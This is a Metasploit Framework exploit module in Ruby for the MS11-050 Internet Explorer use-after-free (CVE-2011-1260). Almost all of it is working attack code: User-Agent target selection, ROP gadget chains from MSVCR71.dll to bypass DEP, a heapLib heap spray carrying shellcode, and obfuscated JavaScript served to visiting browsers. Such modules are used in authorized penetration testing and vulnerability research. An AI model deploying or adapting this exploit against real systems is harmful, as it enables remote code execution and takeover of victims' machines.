## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "7.0", :ua_maxver => "8.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :vuln_test => nil, }) def initialize(info={}) super(update_info(info, 'Name' => "MS11-050 IE mshtml!CObjectElement Use After Free", 'Description' => %q{ This module exploits a use-after-free vulnerability in Internet Explorer. The vulnerability occurs when an invalid tag exists and other elements overlap/cover where the object tag should be when rendered (due to their styles/positioning). The mshtml!CObjectElement is then freed from memory because it is invalid. However, the mshtml!CDisplay object for the page continues to keep a reference to the freed and attempts to call a function on it, leading to the use-after-free. Please note that for IE 8 targets, JRE (Java Runtime Environment) is required to bypass DEP. }, 'License' => MSF_LICENSE, 'Version' => "$Revision$", 'Author' => [ 'd0c_s4vage', 'sinn3r', #ROP (thx corelanc0d3r) ], 'References' => [ ['CVE', '2011-1260'], ['OSVDB', '72950'], ['MSB', 'MS11-050'], ['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], # In IE6 the mshtml!CObjectElement size is 0xac [ 'Win XP SP3 Internet Explorer 7', # 7.0.5730.13 { # sizeof(mshtml!CObjectElement) 'FreedObjSize' => 0xb0, 'FakeObjCount' => 0x4000, 'FakeObjCountKeep' => 0x2000, 'ForLoopNumObjects' => 3, 'FreedObjOverwritePointer' => 0x0c0c0c0c, 'FreedObjOffsetAlignSize' => 0, 'ROP' => false, } ], [ 'Win XP SP3 Internet Explorer 8 (no DEP)', # 8.0.6001.18702 { # sizeof(mshtml!CObjectElement) 'FreedObjSize' => 0xe0, # 0xdc rounded up 'FakeObjCount' => 0x8000, 'FakeObjCountKeep' => 0x3000, 'ForLoopNumObjects' => 5, 'FreedObjOverwritePointer' => 0x0c0c0c0c, 'FreedObjOffsetAlignSize' => 0, 'ROP' => false, } ], [ #This target requires MSVCR71.dll (JRE 1.6) 'Win XP SP3 Internet Explorer 8 (DEP)', { 'FreedObjSize' => 0xe0, # 0xdc rounded up 'FakeObjCount' => 0x8000, 'FakeObjCountKeep' => 0x3000, 'ForLoopNumObjects' => 5, 'FreedObjOverwritePointer' => 0x0c0c0c0c, 'FreedObjOffsetAlignSize' => 2, 'StackPivot' => 0x7C348B05, #xchg eax,esp - MSVCR71.dll 'ROP' => true, } ], [ 'Debug Target (Crash)', {} ], ], 'DisclosureDate' => "Jun 16 2011", 'DefaultTarget' => 0)) end def auto_target(cli, request) agent = request.headers['User-Agent'] if agent =~ /MSIE 8\.0/ mytarget = targets[3] # IE 8 elsif agent =~ /MSIE 7\.0/ mytarget = targets[1] else print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") end mytarget end def on_request_uri(cli, request) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) unless mytarget send_not_found(cli) return end end @mytarget = mytarget @debug = true if mytarget == targets[4] return if ((p = regenerate_payload(cli)) == nil) id_name = rand_text_alpha(5) dir_name = rand_text_alpha(3) if @debug data = <<-DATA DATA print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") send_response(cli, data, { 'Content-Type' => 'text/html' }) return end if @mytarget['ROP'] nop = 0x7c348b06 #mona.py tekniq #https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ rop_stage2 = [ 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x7c37a140, # Make EAX readable 0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll) nop, # EBP 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x7c37a140, # <- VirtualProtect() found in IAT 0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll) 0x7c346c0b, # Slide, so next gadget would write to correct stack location 0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll) nop, # EDI (filler) nop, # will be patched at runtime (VP), then picked up into ESI nop, # EBX (filler) 0x7c376402, # POP EBP # RETN (msvcr71.dll) 0x7c345c30, # ptr to push esp # ret (from MSVCR71.dll) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0xfffff82f, # size 20001 bytes 0x7c351e05, # NEG EAX # RETN (MSVCR71.dll) 0x7c354901, # POP EBX # RETN (MSVCR71.dll) 0xffffffff, # pop value into ebx 0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll) 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll) 0x7c34d201, # POP ECX # RETN (MSVCR71.dll) 0x7c38b001, # RW pointer (lpOldProtect) (-> ecx) 0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll) 0x7c34b8d8, # ROP NOP (-> edi) 0x7c344f87, # POP EDX # RETN (MSVCR71.dll) 0xffffffc0, # value to negate, target value : 0x00000040, target: edx 0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x90909090, # NOPS (-> eax) 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll) ].pack('V*') else rop_stage2 = '' end raw_shellcode = rop_stage2 + payload.encoded shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch)) spray = nil rop_shellcode_spray = nil obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V") if @mytarget['ROP'] rop_stage1 = [ 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x23000ddc, 0x7C348B05, # XCHG EAX,ESP # RETN (MSVCR71.dll) ] junk = rand_text(4).unpack("L")[0].to_i padding1 = [junk]*3 padding2 = [junk]*25 rop_stage1 = padding1 + rop_stage1 + padding2 rop_stage1 << @mytarget['StackPivot'] front = rop_stage1.slice!(0, 19) rop_stage1 = rop_stage1 + front rop_stage1 = rop_stage1.pack('V*') nops = rand_text_alpha(0x1000 - (0x800 - rop_stage2.length - raw_shellcode.length)) nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch)) #spray up to 0x23000000 rop_shellcode_spray = <<-JS var shellcode = unescape("#{shellcode}"); var nops = unescape("#{nops}"); while(nops.length < 0x1000) nops += nops; var shell_heapblock = nops.substring(0, 0x800-shellcode.length) + shellcode; while(shell_heapblock.length < 0x40000) shell_heapblock += shell_heapblock; var shell_finalspray = shell_heapblock.substring(0, (0x20000-6)/2); for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); } JS spray = rop_stage1 shellcode = "" else spray = obj_overwrite_ptr end spray = Rex::Text.to_unescape(spray, Rex::Arch.endian(mytarget.arch)) js = <<-JS heap_obj = new heapLib.ie(0x20000); var heapspray = unescape("#{spray}"); while(heapspray.length < 0x1000) heapspray += heapspray; var shellcode = unescape("#{shellcode}"); var heapblock = heapspray.substring(0, (0x800-shellcode.length)) + shellcode; var offset = #{[targets[1], targets[2]].include?(@mytarget) ? "0x400" : "0"}; var front = heapblock.substring(0, offset); var end = heapblock.substring(offset); heapblock = end + front; while(heapblock.length < 0x20000) heapblock += heapblock; finalspray = heapblock.substring(0, (0x10000-6)/2); for(var counter1 = 0; counter1 < 0x1000; counter1++) { heap_obj.alloc(finalspray); } #{rop_shellcode_spray} var obj_overwrite = unescape("#{Rex::Text.to_unescape(obj_overwrite_ptr, Rex::Arch.endian(mytarget.arch))}"); while(obj_overwrite.length < #{@mytarget['FreedObjSize']}) { obj_overwrite += obj_overwrite; } obj_overwrite = obj_overwrite.slice(0, (#{@mytarget['FreedObjSize']}-6)/2); for(var num_objs_counter = 0; num_objs_counter < #{@mytarget['ForLoopNumObjects']}; num_objs_counter++) { document.body.innerHTML += "TAG_1"; } for(var counter4 = 0; counter4 < #{@mytarget['FakeObjCountKeep']}; counter4++) { heap_obj.alloc(obj_overwrite, "keepme1"); } for(var counter5 = 0; counter5 < #{@mytarget['FakeObjCountKeep']}; counter5++) { heap_obj.alloc(obj_overwrite, "keepme2"); } document.body.innerHTML += "TAG_3"; document.body.innerHTML += "AAAA"; document.body.innerHTML += "TAG_11"; JS js = heaplib(js) js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate html = <<-HTML HTML print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport} (#{mytarget.name})...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end